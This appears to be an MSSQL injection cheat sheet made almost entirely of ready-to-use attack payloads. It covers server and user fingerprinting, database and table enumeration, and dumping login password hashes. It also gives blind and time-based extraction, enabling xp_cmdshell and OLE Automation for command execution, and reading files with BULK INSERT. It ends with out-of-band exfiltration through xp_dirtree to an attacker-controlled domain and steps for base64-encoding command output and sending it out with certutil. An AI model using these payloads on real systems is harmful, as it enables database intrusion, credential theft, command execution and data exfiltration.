Version
SELECT @@version;
SELECT @@VERSION LIKE '%2008%';

User details
SELECT user;
SELECT current_user;
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT USER_NAME(2);
SELECT SUSER_SNAME();
SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);

Database details
SELECT DB_NAME();
SELECT DB_NAME(5);
SELECT name FROM master..sysdatabases;

Database credentials
SELECT name %2b ':'  %2b master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins;

Server details
SELECT @@servername; SELECT host_name(); SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel');

Table Names
SELECT name FROM master..sysobjects WHERE xtype='U';
SELECT table_name FROM information_schema.tables;

Columns Names
SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename';
SELECT column_name FROM information_schema.columns WHERE table_name = 'tablename';

No Quotes
SELECT * FROM Users WHERE username = CHAR(97) + CHAR(98) + CHAR(99);
ASCII(SUBSTRING(SELECT TOP 1 username FROM Users,1,1)) = 97;
ASCII(SUBSTRING(SELECT TOP 1 username FROM Users,1,1)) < 128;

String Concatenation
SELECT CONCAT('a','a','a');
SELECT 'a' %2b 'b' %2b 'c' %2b 'd';

Conditionals
IF 1=1 SELECT 'true' ELSE SELECT 'false';
SELECT CASE WHEN 1=1 THEN true ELSE false END;

Time-delay
WAITFOR DELAY 'time_to_pass';
WAITFOR TIME 'time_to_execute';

Enable Command Execution
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;
EXEC sp_configure 'xp_cmdshell', 1;
EXEC sp_configure reconfigure;

Command Execution
EXEC master.dbo.xp_cmdshell 'cmd';

Enable Alternative Command Execution
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;
EXEC sp_configure 'OLE Automation Procedures', 1;
EXEC sp_configure reconfigure;

Alternative Command Execution
DECLARE @execmd INT;
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT;
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%system32cmd.exe /c';

"RunAs"
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'password', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');
EXECUTE AS USER = 'FooUser';

Read Files
BULK INSERT dbo.temp FROM 'c:\foobar.txt' WITH ( ROWTERMINATOR='n' );

Out-of-Band Retrieval
;declare @q varchar(200);set @q='\attacker.controlledserver'+(SELECT SUBSTRING(@@version,1,9))+'.malicious.com/foo'; exec master.dbo.xp_dirtree @q; --  

Substrings
SUBSTRING(table_name,1,1) FROM information_schema.tables = 'A';
ASCII(SUBSTRING(table_name,1,1)) FROM information_schema.tables > 96;

Retrieve Nth Line
SELECT TOP 1 table_name FROM information_schema.tables;
SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables);

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

The procedure to achieve it is as follows:

Declare a variable of “table” type to save the output that returns the xp_cmdshell procedure (remember that it returns the result in several rows).
Dump the output of the command to the previous variable.
Concatenate the rows of the table, separated by a line break.
Encode the resulting string in Base64 and save it in a variable.
Generate the certutil command, appending the string with the result.
Execute it.